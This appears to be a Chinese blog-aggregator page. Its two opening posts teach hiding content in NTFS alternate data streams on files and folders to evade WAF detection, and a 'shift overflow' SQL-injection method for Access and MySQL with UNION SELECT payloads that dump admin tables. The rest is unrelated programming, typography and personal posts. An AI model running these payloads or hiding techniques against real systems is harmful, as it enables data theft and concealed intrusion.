3、为什么资源管理器里面看不到文件所带的数据流文件呢？ 我们之所以无法在系统中看到NTFS数据流文件，是因为Windows中的很多工具对数据流文件的支持并不是很好，就像“资源管理器”，我们无法在“资源管理器”中看到有关数据流文件的变化。
不过这个原因很奇怪，同样是MS自己做的东西，”资源管理器都支持不好，还有啥工具能支持好呢？” ，后来再想，也可能是这样一个原因：在当时写有关NTFS文件系统的数据流存储的时候很多WINDOWS工具没有相应的更新，同时呢NTFS流的显示与普通的文件不一样，需要使用其他的枚举方式来完成，再有NTFS对广大普通用户桌面用户来说没有必要去看到，更多的是被专业软件所使用，即使显示出来也没意义。
OK，进入正题，那么我们今天来分析下NTFS文件流这个寄生虫的一些“缺点”
- 宿主需求，寄生虫需要宿主才可以繁衍。
- 共存状态。宿主死亡，寄生虫随之死亡。
局限点突破
宿主需求
测试1
一开始感觉无后缀名的会被windows自动隐藏起来，所以输入命令：
echo mstsec>>hi:ourlife.txt
然而是自己想多了。。。
测试2
后来想了下，Windows资源管理器是可以隐藏文件的，而默认的服务器隐藏文件是看不见的，也就是说，宿主是可以隐藏的
命令：attrib +s +h hi 解释：attrib命令的意思，+s是为文件添加系统文件属性，+h是添加隐藏属性的意思。
此方法可行，在一定的程度上保护了咱们的寄生虫。
但是我这个人吧，有一个毛病，强迫症，就感觉不舒服，于是就开始了更隐蔽的测试。
测试3
我重新理了一下思路，既然是无宿主，那么就顺着这个路线开始慢慢的推进，那就试试无宿主自体繁衍：
正常宿主寄生命令：
echo gh0stkey>>www:hiourlife.txtwww是宿主文件，无宿主就删掉www呗~ 修改后的命令：echo gh0stkey>>:hiourlife.txt
结果：无宿主寄生，完全是可以的。测试3成功
其实这个命令就是将寄生虫寄生到文件夹上，转换一下命令就成了：
echo gh0stkey>>/:hiourlife.txt那么运用在实际测试中，只要目录不变动，就不会被（安全狗之类的WAF）发现
END
原文件=宿主，文件流=寄生虫。各位朋友根据根据这篇文章的基础继续深入研究，把文件流应用于各种操作之中，造出”猥琐”流。
-
- 博客 Randy's Blog 2017-03-14 08:00:002009
- 博客 Vulkey_Chen's Blog 2017-03-08 00:00:00
介绍：
在Access数据库类型注入的时候，我们获取不到列名(前提是有表名)，一般会选择使用偏移注入，但是这种注入方式往往借助的是个人的人品，且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不在需要人品”。在这里定义这种注入技术为：“移位溢注技术”。 它适用于ACCESS和MYSQL（任何版本）
正文：
我们先来看看普通的偏移注入步骤：
1.判断注入点 2.order by 判断长度 3.判断表名 4.联合查询 5.获取表中列数：**union select 1,2,3,4,..,\* from TABLE** 6.开始偏移注入：**TABLE as a inner join TABLE as b ona.id=b.id**由于步骤6的方法过于需要人品值，且语句繁琐，因此在这里，我们研究新的注入技术：
首先来看看步骤6语句的整体意思：
步骤6的语句，表示给TALBE取2个别名，然后分别用别名取查询TALBE的内容（表a和表b）；而on a.id = b.id 这样的条件是为了满足语法需求，实际并没有作用，因为相同内容的表，相同字段内容一定相同。
这时，我们再回过头来看步骤5：
由于联合查询中select后面添加数字的目的是为了让联合查询返回接结果和网站正常查询返回的结果的列数一致（不一致数据库会报错，页面无法显示），且*表示通配符，可以表示整个表格所有列；因此这里通过数字来占位，并使用*来替代TABLE中的所有列，使得联合查询可以完成，并推算出*的值。
这时候我们继续研究偏移注入的整体公式方法，发现即使使用多级偏移注入也需要一定的概率(人品值)才可以得到想要的结果，所以我们就尝试研究新的方法能不能替换这种不固定概率的方法。
现在我们重新整理一下SQL语句，从联合查询开始：
1.原union语句：union select 1,2,3,..,p..,n from TABLE
（p=页面爆出的数字，可能有多个p1,p2..；n=原网站查询的总列数；TALBE=我们获得的表名；下面开始就使用上述字母的定义）
2.新语句：
union select 1,2,3,..,p-1,TABLE.*,p+k,..,nfrom TABLE where 字段名 = 字段内容
–在p的位置爆出TALBE表中第一个字段的内容（其他位置还可能爆出更多内容）
（这里如果存在已知字段名可以使用，没有就不用，一般id这个字段时存在的，可以使用id = 1来显示第一行）
union select1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段内容
–在p的位置爆出TALBE表中第二个字段的内容（其他位置还可能爆出更多内容）
union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,nfrom TABLE where 字段名 = 字段内容
–在p的位置爆出TALBE表中第三个字段的内容（其他位置还可能爆出更多内容）
注：这里一定是TALBE.而不是
3.1 以此类推可以爆出TALBE的每一列内容。
3.2 如果p<k则没法爆出p+1列至k列的内容，如果n-p<k则无法爆出第1列至k-(n-p)列。
原理：
1.由原语句：union select 1,2,3,..,p..,n-k,* from TABLE 可以得出该联合查询的目的是构造和原网站相同列数的查询结构，使得页面上可以显示对应的数字；这条语句相当于是做了两次查询并将它们的结果合并，第一次做了select 1,2,3,..,n-k from TALBE ，第二次做了select * from TALBE ，然后将它们的结果合并。
这可以参考mysql的语句：select 1,2,3,4,5,admin.* from admin;
2.只要满足原理1的要求，保障联合查询的结果和原网站查询的结果列数一致即可；因此可以将TALBE.*向前移动至页面显示的数字处来爆出TALBE列中的内容。
这可以参考mysql的语句：
select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,4,5,6,7,admin.* from admin; select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;注：假设数字4、5在页面显示。
由下图可知，其实数据已近查询出来，但是页面没有显示，这个是通过平移查询结果到页面显示的数字上去，即可爆出敏感字段。
例子：
步骤1：判断注入点是否存在
步骤2：
步骤3：获得表名(必备条件) and exists(select * from admin)
步骤4：获取不了列名（当尝试多个常用字段名以后，最终还是发现无法获得字段名）
步骤5：使用联合查询(union select)
步骤6：使用新注入技术方法
（1）获取admin表的列数：
UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,*from admin #--返回错误页面 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*from admin #--返回错误页面 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,*from admin #--返回错误页面 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,*from admin #--返回错误页面 ..... UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,*from admin #--返回步骤5页面，因此admin表的列数为6
（2）由于网页中包含连续数字，表示可以显示连续的查询结果，构造SQL语句查询前四列第一行。
UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin
UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin where id = 3
总结
在这里我们命名这种新注入技术为”移位溢注”。由此如果MYSQL小于5.0的情况下所具备的条件和ACCESS一样，也可以使用此方法注入，如果是MYSQL大于5.0的版本，使用此方法可以省去获得列名的步骤。
文章研究：gh0stkey & Seagull
- 博客 Jiajun的编程随想 2017-03-06 08:00:00《什么是 Golang Comparable Types》Golang 中有很多时候要用到comparable types，例如比较struct的时候，例如map里的key。弄清楚有哪些类型是comparable的非常重要...
- 博客 EVILCOS 2017-03-05 16:37:48今天凌晨，我们的蜜网系统跳出了个有趣的字符串： zaxa2aq@protonmail.com ProtonMa […]
- 博客 Jiajun的编程随想 2017-03-02 08:00:00《GFS 论文阅读》- 预期背景 - Component failures are the norm rather than the exception. So constant...
- 博客 Jiajun的编程随想 2017-03-02 08:00:00《MapReduce 论文阅读》> MIT 6.824- Users specify a map function that processes a key/value pair to generate a...
- 博客 Jiajun的编程随想 2017-02-24 08:00:00《一起来做贼：Goroutine原理和Work stealing》最近在看Goroutine的实现原理，用户空间实现的并发模型。在用户空间进行调度不比在内核级别，因为内核可以通过CPU中断夺回控制权，但是用户空间把控制权交给一段代码之后，需要那段代码主动交出权力才可以。当然也可以通过一些trick，例如编译...
- 博客 Jiajun的编程随想 2017-02-15 08:00:00《Go语言的defer, panic和recover》> 本文源自 https://blog.golang.org/defer-panic-and-recover## defer...
- 博客 EVILCOS 2017-01-29 14:10:28新年新气象，这个蠕虫我做了小范围测试，也提交了官方修复，小圈子里做了分享，这里正式对外公布下，出于研究而非破坏 […]
- 博客 构建我的被动收入 2017-01-24 08:00:00本文介绍了我对自我提升的理解，分为时间管理、目标管理、资产管理、技能管理、社交管理以及个人品牌的建设
- 博客 Jiajun的编程随想 2017-01-24 08:00:00《再读 Python Language Reference》https://docs.python.org/3.6/reference/ 重读笔记。## Lexical analysis...
- 博客 Jiajun的编程随想 2017-01-24 08:00:00《再读vim help：vim小技巧》- `ZZ` 相当于 `
:wq`- Normal模式下`a`相当于反向的`i`，i把字符插入到光标前，a插到光标后... - 博客 Jiajun的编程随想 2017-01-22 08:00:00《设计模式（2）- 深入浅出设计模式 阅读笔记》## 命令模式命令模式就是不改变原有代码，而在原有代码的基础之上封装一层，为每个命令创建一个...
- 博客 Jiajun的编程随想 2017-01-21 08:00:00《设计模式（1）- 深入浅出设计模式 阅读笔记》> 将会使用Java和Python。其中Java实现可能比较业余，但是仍然使用Java，> 因为很多设计模式在Java中更容易看清楚...
- 博客 Jiajun的编程随想 2017-01-15 08:00:00《Cython! Python和C两个世界的交叉点》最近一周都没有发博客，因为发现一个好玩的东西---Cython！这周一直在研究这个。虽然了解C和Python之后学Cython，语法上很简单，但是为了探究它为何能快起来，还是翻了蛮多的代码并且做了测试的...
- 博客 Jiajun的编程随想 2017-01-09 08:00:00《socketserver 源码阅读与分析》首先看到文件上半部分的注释，讲清楚了这个module里的类继承关系。```...
- 博客 Jiajun的编程随想 2017-01-08 08:00:00《functools 源码阅读与分析》functools主要包括这几个东西: `wraps`, `partial`, `lru_cache`, 还有一些内置帮助函数例如 `c3_mro`。我们主要看上面三个...
- 博客 Jiajun的编程随想 2017-01-07 08:00:00《contextlib代码阅读》首先我们要知道 [with协议](https://www.python.org/dev/peps/pep-0343/)。然后我们看看 `class _GeneratorContextManager(ContextDecorator, AbstractContextManager):`...
- 博客 Jiajun的编程随想 2017-01-06 08:00:00《Collections 源码阅读与分析》## dequedeque并不是普通的教科书式的双链表实现。经典实现是...
- 博客 Jiajun的编程随想 2017-01-06 08:00:00《Redis通信协议阅读》最近要搞搞redis的通信协议，先阅读一下官方文档，记录一下。## 应答模型...
- 博客 Randy's Blog 2017-01-01 08:00:002029
- 博客 Jiajun的编程随想 2016-12-31 08:00:00《2016年就要结束了，2017年就要开始啦！》2016年就结束啦！这一年经历的最大的事情就是身份的转变-----从大学生变成了社会人。1月底离开了实习的公司，非常感谢杨总和欧吧对我的教导，大可同学和校长同学对我的...
- 博客 Jiajun的编程随想 2016-12-29 08:00:00《unittest 源代码阅读》又是和单元测试有关的代码的阅读 :smile:## unittest 源码以及注释...
- 博客 Randy's Blog 2016-12-28 08:00:002032
- 博客 Jiajun的编程随想 2016-12-26 08:00:00《APUEv3 - 重读笔记》重读APUE，获益良多。## 第一章，UNIX基础知识...
- 博客 Jiajun的编程随想 2016-12-22 08:00:00《Mock源码阅读与分析》写单元测试的时候，经常要借助Mock来完成某些替换，鉴于Python的动态性，Python中写单元测试还是很方便的。但是需要吐槽的是，也是因为Python的动态性，Python的功能必须要由高覆盖率的测试来保证...
- 博客 Jiajun的编程随想 2016-12-16 08:00:00《Thinking in Python》每学习一门语言，就总会想找到它的 `core`。对于Python，我认为是它的 `core` 是字典。无论从 `CPython` 实现上或者是平时使用时的类机制，都能体会到Python中字典的作用。但是这篇文章不是什么教程或者学习体会。只是一些杂言。TL;DR...
- 博客 Jiajun的编程随想 2016-12-15 08:00:00《我的代码进CPython标准库啦》smile: 最近在阅读CPython的C实现和一部分标准库实现，读到Mock的时候，发现了代码并不是想象中的优美，遂修改了一部分代码，提交上去。虽然是简单的几行代码但是一想到自己写的代码包含在全世界那么多人用的语言的标准库里，就有点小激动～...
- 博客 Jiajun的编程随想 2016-12-09 08:00:00《Python零碎小知识》今天读Mock的源代码，发现的几个新玩意儿。以后读代码发现了也记这里吧 :smile:- dict有个 `setdefault` 方法，`dict.setdefault(key, default)` 相当于...
- 博客 Jiajun的编程随想 2016-12-07 08:00:00《Python和单元测试》以前我是不写任何测试的，后来偶尔写单元测试，现在我主动写单元测试 ----- 不得不承认，测试是有其存在必要性的，要说为什么的话，大概又会引发语言的强弱类型和是否静态语言之争了吧...
- 博客 Jiajun的编程随想 2016-12-07 08:00:00《工作一年的总结》算上实习的时间，工作也有一年了呢，幸运的是，实习的时候有大神带我，正式工作之后又有许多东西来磨练...
- 博客 Jiajun的编程随想 2016-12-06 08:00:00《Python 的继承》## MROPython在2.3之后引入了新的继承方式，同时也带来了新的 `MRO - the C3 method resolution order`...
- 博客 Jiajun的编程随想 2016-12-06 08:00:00《MongoDB 的一些坑》- 由于是文档型数据库，不像关系型数据库一样有规范的field。举个贴近生活的例子， 关系型数据库就像是一张Excel表格，所有的列都是统一的；而MongoDB就像是把json 存在一个txt文件里。**用成怎样全靠自觉啊!!!**...
- 博客 EVILCOS 2016-12-02 11:47:20计划准备出一个PPT专门讲解CSRF里的各种奇技淫巧，除了那些老套的手法之外： https://github. […]
- 博客 EVILCOS 2016-11-30 12:13:45当代 Web 的 JSON 劫持技巧 http://paper.seebug.org/130/ 猥琐流的家伙居 […]
- 博客 Jiajun的编程随想 2016-11-29 08:00:00《Python的yield关键字有什么作用？》我是从 `python 2.7` 开始接触的，要说python的各种历史，我还真的说不出来。不过好在有 `peps` 记录了python的发展和进化。今天我们来挖挖 `yield` 的历史...
- 博客 Jiajun的编程随想 2016-11-27 08:00:00《借助coroutine用同步的语法写异步》首先我们构造一个耗时足够久的服务器：```python...
- 博客 Randy's Blog 2016-11-26 08:00:002046
- 博客 EVILCOS 2016-11-22 10:48:17Seebug Paper之前收录了三篇文章有些关联性，分别是： 绕过混合内容警告 – 在安全的页面 […]
- 博客 Jiajun的编程随想 2016-11-21 08:00:00《Python3函数参数中的星号》最近在看asyncio的代码，看到一个新的用法，查阅完文档之后，发现，在定义函数的参数列表中，`*` 后的参数，调用者必须以 ``key=value`` 形式调用。因为平时看到的都...
- 博客 庭说 2016-11-21 00:00:00
清爽的排版，能让阅读成为一种享受。
为何排版
古人对于写文章有两个基本要求：
- 有物：就是要有内容。
- 有序：就是要有条理。
像我这种无名作者，写的内容没有资历和名气的加持，再不好好雕琢一下，使之干净清爽、条理清晰、便于阅读，不然，读者的阅读兴趣很快就消散了。而且漂亮舒适的排版，不仅能让读者眼睛爽，还能加深对文章的理解。
如何排版
之所以「庭说」的排版被多人问津，是因为我站在巨人的肩膀上，这位巨人就是「可能吧」。当见识了这位巨人的排版之后，我多方模仿实践，终于有一天被我倒腾出来了，之后便开始了我的公众号写作之路。
阿禅在 可能吧的文章是如何排版的？（VPN required）提到：
- 排版不仅是锦上添花。
- 什么是写作规律？
- 为什么我不用任何微信排版器？
- 可能吧的文章是如何排版的？
- 别依赖模板式教程。
「可能吧」采用的是代码级排版，需要花几天时间学习 HTML、CSS、Python 等的基础语法。而我懒，就取巧借助了第三方排版编辑器：秀米。浏览器是 Chrome，兼容性好，复制、粘贴和同步都不容易出错。
留白的艺术
请在页面周围大方地留点空间，减少文字太满产生的压迫感，既可以让读者的视线在字里行间游刃有余，又可以让眼球有地方休息。
- 如果一行文字过长，视线移动距离太长，很难让人注意到段落起点和终点，阅读比较困难
- 如果一行文字过短，眼睛要不停来回扫视，破坏阅读节奏。
因此我们可以让内容区的每一行承载合适的字数，来提高易读性和舒适性。秀米相关设置如下：
- 基础字号（正文字体）：14。显得比较秀气。
- 行间距：1.7 倍。行与行之间，就像恋人一样需要适宜的空间，不然会喘不过气来。
- 字间距：2 像素。增大字距，可以让文本更加整洁、易读。
- 页边距：30 像素。在「i 排版」中，这个功能叫缩进。
对了，千万不要首行缩进，那是纸媒留下来的排版习惯了。参差不齐的字块，宛如缺牙狗啃出来的一样。
调教的学问
常言道：「少则得，多则惑，色不过三」，切记全文不要超过三种颜色。如果你难以驾驭配色这门学问，黑白灰的性冷淡风格是比较保险的百搭。但是，纯黑的字体有些刺眼，可以换成温和的灰色，也不容易引起阅读疲劳。
- 标题：先来一段 50 度灰
RGB(50,50,50)。 - 正文：再配上一瓶 82 年的拉灰
RGB (82,82,82)。 - 点缀：不免单调，可以从头像或 Logo 中提取一个主题色，作为装饰。
配色确定了，再调教一下字号：
- 标题字体：18 号。为了醒目，加粗更佳。
- 正文字体：14 号。文艺青年都喜欢这么干。
至此，排版已经搞定 7788 了。
空格的妙用
有一个设计圈的笑话：打字的时候不喜欢在中文和英文之间加空格的人，感情路都走得很辛苦。 有七成的比例会在 34 岁的时候跟自己不爱的人结婚，而其余三成的人最后只能把遗产留给自己的猫。毕竟爱情跟书写都需要适时地留白。
中文和英文之间需要增加空格
✔：by 一朵遗世独立的小奇葩
❌：by一朵遗世独立的小奇葩中文和数字之间需要增加空格
✔：懂一点污 78 嘿的小知识
❌：懂一点污78嘿的小知识更多关于空格的艺术，请参阅 文案风格及排版指南。
回归写作
「庭说」的公众号就是花了太多时间在排版上了。为了实现层级缩进的效果，不惜在秀米排版器中里三层，外三层地套用了六个布局模板，这种排版终究还是太费神费时了。
更高效的排版方法，非 Markdown 所属。这是一种轻量级的「标记语言」，几分钟就可以学会，省出来的时间，就可以专注于打磨文字。教程请参阅 Markdown 入门教程及书写风格指南。
用 Markdown 写好之后，把文章复制到以下其中一个转换器：
- Markdown Nice：让微信排版变 Nice，支持自定义主题 CSS 和在文末列出微信外链。
- 微信 Markdown 编辑器：高度简洁。
- 可能吧公众号 Style 一键转换器：老司机禅叔出品。
一篇结构清晰，页面美观的佳作就诞生了。
- 博客 EVILCOS 2016-11-08 16:28:03《Web前端黑客技术揭秘》这本书2013.1月开售至今，已经第10次印刷，在安全类书籍中，这种成绩确实超出我们 […]
- 博客 Jiajun的编程随想 2016-11-08 08:00:00《使用Git Hooks》最近的工作就是，写文档！用markdown来写，然后要遵循一定的格式。之前都是我写好我负责的一部分，然后打包发送给项目负责人，因为...
- 博客 EVILCOS 2016-11-07 13:46:11说 OAuth2.0 漏洞/这个协议不安全的人，把头伸过来下，砖头准备好了。 Black Hat 的有关 Pa […]
- 博客 Randy's Blog 2016-11-06 08:00:002053
- 博客 Jiajun的编程随想 2016-11-05 08:00:00《Token Bucket 算法》最近在看celery代码，看到worker的代码，发现了tocket bucket算法，自己之前还一直在想像有些API对调用次数有限制是怎么做到的，看完才发现，原来是这么朴素的算法...
- 博客 Jiajun的编程随想 2016-11-03 08:00:00《nginx配置笔记》nginx变量-----------...
- 博客 Matrix67: The Aha Moments 2016-10-18 23:32:59随着常数 m 和 n 的变化，参数方程 x = sin(m · t), y = sin(n · t) 将会画出一系列漂亮的曲线。法国物理学家 Jules Antoine Lissajous 曾在 1857 年研究过这类曲线，因此人们把它叫做 Lissajous 曲线。我在 reddit 上看到了一个 Lissajous 曲线的动画演示，觉得看起来确实非常爽；但那个动画里没有解释曲线的生成方法，很多细节也有让人不太满意的地方，于是决定自己制作一个。这个动画展示的是 m = 13, n = 18 时的 Lissajous 曲线。
- 博客 Randy's Blog 2016-09-29 08:00:002057
- 博客 Jiajun的编程随想 2016-09-15 08:00:00《阅读Flask源码》看到很多人推荐新手去阅读Flask，但其实个人并不推荐，因为单说Flask的话，代码量确实很少，但是Flask完全建立在Werkzeug之上，如果把Werkzeug的代码加起来，代码量...
- 博客 Randy's Blog 2016-09-08 08:00:002059
- 博客 Jiajun的编程随想 2016-08-25 08:00:00《尤克里里》 image:: img/ukulele.jpg...
- 博客 Randy's Blog 2016-08-06 08:00:002061
- 博客 构建我的被动收入 2016-07-26 08:00:00本文详细介绍了如何玩转信用卡，使用信用卡免费坐飞机住酒店，包括卡组织与等级的介绍、信用卡权益与积分的介绍、信用卡申请、信用卡提额、经典信用卡的介绍
- 博客 构建我的被动收入 2016-06-26 08:00:00本文详细介绍了如何从零构建自己的投资交易系统，包括交易系统的设计与历史回测、股票基金投资基本知识、技术分析与基本面分析的区别、投资交易的心理建设、交易仓位的资金管理及风险管理、止损点的设置、大类资产相关度的分析与配置、海龟交易系统与双均线交易系统的介绍，最后介绍了交易日记的详细编写过程，致力于提高你的股票基金交易能力的建设
- 博客 构建我的被动收入 2016-06-26 08:00:00本文介绍了使用GitHub Pages以及Hexo工具打造个人优化高效的写作系统
- 博客 Jiajun的编程随想 2016-06-20 08:00:00《学习使用Bootstrap4的栅格系统》响应式布局，在n年前被炒的火热火热的，因为前端的代码只需要写一次，却可以在各种分辨率的屏幕上显示，确实是个好东西。不过前端的东西总是变的比摩尔定律还快，现...
- 博客 构建我的被动收入 2016-06-19 08:00:00介绍上班族的投资理财方法，包括指数基金定投的策略、如何构建系统化投资交易系统、公募基金、P2P、可转债、分级基金、货币基金的投资特点、基金购买渠道、投资理财入门书籍、交易系统的回测方法等的介绍
- 博客 Jiajun的编程随想 2016-06-19 08:00:00《利用Github的WebHook完成自动部署》之前我写了一个用rst来写博客的项目，但是每次写完都要自己push，然后到服务器pull。再加上我采取的方式是把原来的写博客的repo作为这个项目的submodule。每次手动那就...
- 博客 Jiajun的编程随想 2016-06-18 08:00:00《使用Tornado和rst来写博客》为什么用rst-------------...
- 博客 Randy's Blog 2016-06-16 08:00:002069
- 博客 构建我的被动收入 2016-06-15 08:00:00本文分享了《创业维艰》这本书的读书笔记以及对创业的思考
- 博客 Randy's Blog 2016-06-12 08:00:002071
- 博客 构建我的被动收入 2016-06-11 08:00:00本文介绍了如何使用元学习快速学习一门技能
- 博客 构建我的被动收入 2016-06-11 08:00:00介绍了通过玩富爸爸穷爸爸书中介绍的现金流游戏，了解普通人如何走向财务自由之路，还有一些关于财务会计报表的知识介绍，如收入支出与资产负债及现金流量表的知识
- 博客 Jiajun的编程随想 2016-06-05 08:00:00《Haskell do notation》从普通的语言切换过来的时候，看到return总是让人费解。因为Haskell中的return根本就不是普通语言中的return。这篇文章是看完Haskell Wiki [#]_ 以后写的一...
- 博客 构建我的被动收入 2016-06-01 08:00:00本文介绍了如何使用OneNote打造个人长期的知识管理系统
- 博客 构建我的被动收入 2016-05-27 08:00:00记录交易日记App开发的过程，包括移动端App以及服务端的全栈开发过程，还有一些关于产品运营及营销知识的介绍
- 博客 构建我的被动收入 2016-05-26 08:00:00本文详细介绍了如何使用交易日记App去提升自己的交易能力以及一些经典投资理财书籍的介绍
- 博客 Jiajun的编程随想 2016-05-22 08:00:00《foldl 和 foldr 的变换》foldl 和 foldr 的类型签名为...
- 博客 轶哥博客 2016-05-06 15:22:23<>介绍一个非常实用的小技巧获取ode.j项目根目录<>假设我们的j文件写在erver目录中，但是我们的资源文件存储在a/img目录中。如下图，我们需要在erver/idex.j文件中使用f读取a/img/favico.ico文件。<>
<>在ode.j只提供了一个
__dirame全局变量。通过__dirame可以获得“C:\wwwroot\yidata\erver”。这时需要用到ath。 - 博客 轶哥博客 2016-05-05 22:49:06<>emem虽然Node.j6这个版本已经能够支持96%的ECMAScrit 2015 (ES6)，但是仍然不支持imort。关于Node.j各个版本对ES6的支持可以浏览这个网站:htt://ode.gree/<>ememNode.j 6 中可以启用ES6功能。在ode命令后面加上“--e_tagig”或“--harmoy”就好。
- 博客 Jiajun的编程随想 2016-05-05 08:00:00《Haskell TypeClass 笔记》这是Haskell Wiki上的 `一篇文章
- 博客 轶哥博客 2016-05-04 08:46:09<>emem使用Widow To Go的体验比Uutu To Go要好得多。特别是加密U盘/移动硬盘的功能很实用。然而无论是Widow To Go还是Uutu To Go都无法避免在新机子中移动使用需要安装驱动的问题。欣慰的是在Widow To Go中微软专门针对移动使用定制了部分功能，然而还是无法完美安装所有驱动。特别是在某些wi10平板中，几乎有数十个无法识别的驱动（ 设备管理器中的感叹号）。怎么办呢？安装带网卡的驱动人生和驱动精灵？不，这个方法太Low了。<>emem对于高手，驱动缺失的第一个反应是去官网找驱动，搜芯片型号。然而很多驱动你根本找不出来，特别是定制性的。这些驱动有个特点，就是驱动人生和驱动精灵也无法识别。<>emem这里有一个小技巧，如果Widow To Go的目标主机和Widow To Go中安装的操作系统版本相近，位数相同，那么可以通过原有驱动直接安装。Widow10 To Go和Widow8 To Go均适用。
- 博客 轶哥博客 2016-05-03 18:15:12<>ememEA6500 V2的CPU发热严重，最高温度可达104°（如上图）。别说煮鸡蛋了，烧水都没问题了。给EA6500 V2/EA6700加装风扇我不是第一个，网友“啥都不会”早在14年10月就已经成功安装过了。<>emem本文仅仅说明可以用5V风扇，而且可以控制是否启用。焊接点如下——USB电源接口。
- 博客 轶哥博客 2016-05-03 00:56:48<> 本文介绍了使用EA6500 V2/EA6700 安装 Tomato 实现双WAN双拨负载均衡的方法。需要对设备进行刷机，具体教程请点击下方阅读全文查阅。
- 博客 轶哥博客 2016-05-02 16:02:54<>emem一不小心把今早刚刚买的EA6500 V2路由器刷砖了，心急了，提前断电?。ok，上TTL。<>emem本文介绍了TTL刷机方法，请点击下方阅读全文浏览。
- 博客 庭说 2016-04-29 00:00:00
以下是「庭说」早期发表在微信公众号 Ting_Talk（已被永久封号）的文章（图文版传送门），现在看来，无病呻吟。
有些事情不用一个晚上做完，我们又不赶时间
2016-04-29 00:36:17我总觉得我是一个文艺青年，所以是时候执笔写点东西，证明我到底是不是了？顺便分享一下我当下的心情，撩撩读者。日后回味起来，也不失为一道靓丽的文艺小菜。
如果你愿意安安静静地听我说，真是感激不尽，又多了一个知心朋友，虽然我们隔着两块屏幕。如果你觉得我写的这都是什么鬼呀！对不起！出门右转，「取消关注」，谢谢你一直以来的关注。
话不多说，且看我能文艺多久。
我又何尝不想安安静静地做个（美）男子呢？
2016-04-30 00:00:28污啦啦啦啦啦啦，各位小伙伴大家好呀，欢迎来到庭说公众号，这是庭仔的第二篇原创文章。
前方高能预警：说出来你可能不信，这篇文章可能会比较矫情，非战斗人员请迅速撤离，免得辣着你眼睛。
我是谁？
我不止一次这样问过自己。
认识我的人，都知道我是一位个性鲜明的 Boy。要不是杀人是犯法的，Ta 们可能早就怼死我，就这样失去了年轻的生命，我说真的。
我这个人呢，情绪比较激动，但是又感染不到人。走在路上，我就是一颗行走的春药，一枚行走的表情包和一个火药桶，随时随地都可能被点燃并迅速发情，不能自雅。最后发现，这只是我一个人的自嗨。
你知道我划船为什么不用桨吗？因为浪。
我说话也比较大声，但是音色又特别刺耳。有些人的声音，听多了耳朵会怀孕，而我的声音，听多了你会怀疑人生。
我话语也比较丰富，但是又说服不了人。关于两性、健康、科技、人生等等，我都可以头头是道，嘚吧嘚吧说上一大通。这个嘴巴呀，不吐不快，就整一个话痨！这是病，得治。
他穿上厚重的铠甲，伪装成一个不可理喻的混世小流氓，奋力地加重语气，提高声调，假装自己什么都懂，就是想在这个不安的社会上费力地寻找一个少的可怜的存在感。
我又何尝不想安安静静地做个（美）男子呢？
其实我在高中的时候就参悟到上面那段话了。可是每当我下定决心让自己安静下来，做个美男子的时候（丑男子也不介意，只要能安静下来就行），过不了几天，本性难移，一个回头，猛虎下山，扑向这个喧闹的世界。
今天既然都公之于众了，就要做出我的表率和决心。在此，向一切曾经被我的个性伤害过的众生忏悔。
放心吧，我是不会改的。
如果大海能够，带走我的矮丑
2016-05-01 23:58:24污啦啦啦啦啦啦，各位小伙伴大家好呀，欢迎来到庭说公众号，这是庭仔的第 3 篇原创随笔。
上集说到了我的内心住着一个深深自卑的另一个我，出于无奈，房租水电全免，实打实的钉子户。
可为什么要自卑呢？还是深深的，且听我道来。
人丑多作怪
这是一个颜论自由的时代，因为太自由，所以长着长着我就失去了方向，结果就长得比较失（诗）意咯。
每天早上剃胡子的时候，看到我那张憔悴的面容的时候，我就想：虽然仗着自己丑，就熬了下夜，可是我的脸也不带这么欺负人的，一点都不给主人长脸，这叫我怎么出去见人啊！
多少失足少女，等着我去拯救啊！虽然我的长相不允许我做这种事情！但是我还是恬不知耻地出去作怪了。
有颜任性，无颜认命。没想到吧，无颜，我也可以照样任性。
从以上的言论来看，我这是哪门子的自卑啊，分明是不要脸啊!
说句心里话，长得这么丑，活了这么久，我也是不容易啊！下辈子如果有机会，再做一个玉树临风美少年吧。上天保佑！
如果大海能够，带走我的矮丑
那我就只剩下穷了。
如果可以用一个字，总结上面那两段的话，那就是矬（拼音： cuó）：身材短小；容貌丑陋 。
正文
好啦好啦，不开玩笑了，接下来就让我升华一下结尾吧。
自卑感是什么？自卑感就是容易轻视自己，认为自己不如别人而产生卑劣的一种感觉。
我的自卑感的特殊表现是？因为自卑，所以特别希望得到别人的关注与肯定，哪怕有时候是哗众取宠。
适度的自卑也不是一无是处：我们每个人，都有不同程度的自卑感。因为我们，都想让自己更优秀，让自己过更好的生活。by 阿德勒 《自卑与超越》
你有什么解药让我这个 Loser，走出自卑的阴影吗？欢迎后台留言给我。谢谢你们的善意！
也希望我的 101 位读者，不要学我，而是不再焦灼地认真审视自己。
祝好，写给你，写给我。
人就是要以自卑为跳板，才能跳得更高。
如果你不够污，千万别看这篇文章
2016-05-04 23:58:38污啦啦啦啦啦啦，各位小伙伴大家好呀，欢迎来到庭说公众号，这是庭仔的第 4 篇原创随笔。
在第 1 篇文章中，我竟说自己是文艺青年，所以才有了提笔的力量。扯淡吧？！莫慌，我这里还有更扯淡的写作缘由。是骡子是马？拉出来遛遛就知道了。
前情概要
听过这句话吗：静待岁月，改变自己。
我觉得静待多久，改变的只有年龄而已。等青春的遮羞布一拿开，内心的荒芜都掩饰不住了。
